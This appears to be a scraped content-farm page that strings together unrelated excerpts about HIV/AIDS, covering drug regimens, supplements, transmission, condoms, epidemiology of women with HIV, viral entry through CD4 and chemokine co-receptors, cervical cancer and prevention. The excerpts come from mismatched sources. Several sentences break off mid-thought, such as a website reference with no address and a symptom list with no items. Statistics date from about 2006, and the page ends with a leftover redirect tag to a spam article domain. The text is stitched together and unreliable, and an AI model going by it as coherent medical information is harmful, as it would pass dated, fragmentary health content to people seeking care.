Drug treatment guidelines for HIV/AIDS change frequently as new drugs are approved and new drug regimens developed. Two principles currently guide doctors in developing drug regimens for AIDS patients: using combinations of drugs rather than one medication alone; and basing treatment decisions on the results of the patient’s viral load tests. Current information on United States Food and Drug Administration-(FDA)approved drugs by class can be found at the United States Department of Health and Human Services Aids Info Website at
Evidence for supplementation with selenium is mixed with some tentative evidence of benefit. For pregnant and lactating women with HIV, multivitamin supplement improves outcomes for both mothers and children. If the pregnant or lactating mother has been advised to take anti-retroviral medication to prevent mother-to-child HIV transmission, multivitamin supplements should not replace these treatments. There is some evidence that vitamin A supplementation in children with an HIV infection reduces mortality and improves growth.
The initial infection with HIV generally occurs after transfer of body fluids from an infected person to an uninfected one. The virus is carried in infected CD4 T cells, dendritic cells, and macrophages, and as a free virus in blood, semen, vaginal fluid, or milk. It is most commonly spread by sexual intercourse, contaminated needles used for intravenous drug delivery, and the therapeutic use of infected blood or blood products, although this last route of transmission has largely been eliminated in the developed world where blood products are screened routinely for the presence of HIV. An important route of virus transmission is from an infected mother to her baby at birth or through breast milk. In Africa, the perinatal transmission rate is approximately 25%, but this can largely be prevented by treating infected pregnant women with the drug zidovudine (AZT) (see Section 11-23). Mothers who are newly infected and breastfeed their infants transmit HIV 40% of the time, showing that HIV can also be transmitted in breast milk, but this is less common after the mother produces antibodies to HIV. (AIDS in Mother and Child, in Case Studies in Immunology, see Preface for details)
Condoms made of latex provide good protection against HIV (as well as other common sexually transmitted diseases), but they are not foolproof. Oil-based lubricants (such as petroleum jelly) should not be used because they may dissolve latex, reducing the condom’s effectiveness.
The training and qualifications of providers treating patients with HIV/AIDS is very important. But equally important is an understanding of the impact of numbers of patients treated by providers on key medical outcomes (e.g. viral load measures, mortality, the receipt of anti‐retroviral medications, opportunistic infection (OI) prophylaxis as well as economic outcomes such as health care utilization or patient costs) in the care of persons living with HIV/AIDS. This systematic review examined studies from 1980‐2009 that identified both provider experience/qualifications as well as a volumes indicator (number of HIV/AIDS patients). Only four studies met the inclusion criteria for the final review. Given the varied methods of each study, a meta‐analysis was not possible.
Women exposed to HIV infection through heterosexual contact are the most rapidly growing risk group in the United States. The percentage of AIDS cases diagnosed in American women has risen from 7% in 1985 to about 25% in 2006. According to the CDC, in 2006 approximately 278,400 women in the United States were living with HIV/AIDS. The rate was highest among black women and lowest among white women. About 75% of these women contracted HIV through high-risk heterosexual activity; almost all of the remainder acquired the infection through needle sharing.
After the first symptoms disappear, most people, even without treatment, have no symptoms or only occasionally have a few mild symptoms. This interval of few or no symptoms may last from 2 to 15 years. The symptoms that most commonly occur during this interval include the following:
Cervical cancer is cancer of the entrance to the womb (uterus). Regular pelvic exams and Pap testing can detect precancerous changes in the cervix. Precancerous changes in the cervix may be treated with cryosurgery, cauterization, or laser surgery. The most common symptom of cancer of the cervix is abnormal bleeding.
The search for a cure for HIV began as soon as the virus was identified. HIV is probably one of the most studied viruses in history. Scientists have a detailed knowledge of the virus’ genes, proteins, and understand how it functions. In fact, the combinations of drugs that make up ART therapy were chosen because they attack different parts of the virus life cycle, causing it to malfunction. However, ART is not a cure and the drugs must be taken for life. Even when levels are low, the virus is still present in the body.
The ability of HIV to enter particular types of cell, known as the cellular tropism of the virus, is determined by the expression of specific receptors for the virus on the surface of those cells. HIV enters cells by means of a complex of two noncovalently associated viral glycoproteins, gp120 and gp41, in the viral envelope. The gp120 portion of the glycoprotein complex binds with high affinity to the cell-surface molecule CD4. This glycoprotein thereby draws the virus to CD4 T cells and to dendritic cells and macrophages, which also express some CD4. Before fusion and entry of the virus, gp120 must also bind to a co-receptor in the membrane of the host cell. Several different molecules may serve as a co-receptor for HIV entry, but in each case they have been identified as chemokine receptors. The chemokine receptors (see Chapters 2 and 10) are a closely related family of G protein-coupled receptors with seven transmembrane-spanning domains. Two chemokine receptors, known as CCR5, which is predominantly expressed on dendritic cells, macrophages, and CD4 T cells, and CXCR4, expressed on activated T cells, are the major co-receptors for HIV. After binding of gp120 to the receptor and co-receptor, the gp41 then causes fusion of the viral envelope and the plasma membrane of the cell, allowing the viral genome and associated viral proteins to enter the cytoplasm.
HIV is a preventable disease. Effective HIV prevention interventions have been proven to reduce HIV transmission. People who get tested for HIV and learn that they are infected can make significant behavior changes to improve their health and reduce the risk of transmitting HIV to their sex or drug-using partners. Recent scientific advances have demonstrated that early initiation of antiretroviral therapy (ART) not only preserves the health of people living with HIV but also reduces their risk of transmitting HIV to others by 93%.3
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Human immunodeficiency virus (HIV), a member of the retrovirus family, is the causative agent of acquired immunodeficiency syndrome (AIDS). HIV invades various immune cells (e.g., CD4+ T cells and monocytes) resulting in a decline in CD4+ T cell numbers below the critical level, and loss of cell-mediated immunity − therefore, the body becomes progressively more susceptible to opportunistic infections and cancer. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]